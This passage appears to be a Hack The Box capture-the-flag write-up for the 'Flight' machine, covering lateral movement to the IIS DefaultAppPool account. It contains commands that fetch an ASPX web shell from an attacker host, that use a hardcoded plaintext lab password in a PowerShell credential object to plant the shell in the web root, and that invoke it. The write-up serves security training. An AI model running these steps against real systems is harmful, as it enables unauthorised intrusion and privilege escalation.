IIS AppPool\DefaultAppPool


Due to the complexity of the full account same, the IIS AppPool\DefaultAppPool account will be referred to as the iis-default account from here on out

Previously, ASPX code execution has been confirmed. In the following sections, I will attempt to make a lateral movement to the iis-default account by establishing a stable PowerShell session to the target system

ps c:\tmp> iwr -Uri http://10.10.16.8/shell.aspx -Outfile C:\tmp\shell.aspx

Transferring the payload to the target system over HTTP

ps c:\tmp> $Cred = New-Object System.Management.Automation.PSCredential("FLIGHT.HTB\c.bum", (ConvertTo-SecureString "Tikkycoll_431012284" -AsPlainText -Force)) ; Start-Process cmd.exe -Credential $Cred -ArgumentList "/c copy C:\tmp\shell.aspx C:\inetpub\development\"
         1 file(s) copied.

using the same technique of the powershell start-process cmdlet with the PSCredential object of the c.bum user, I can copy the payload to the C:\inetpub\development directory for the tunneled access.

┌──(kali㉿kali)-[~/archive/htb/labs/flight]
└─$ curl -s http://localhost:8000/shell.aspx

Invoking the payload

ps c:\tmp> iwr -Uri http://127.0.0.1:8000/shell.aspx

Or it could be invoked locally
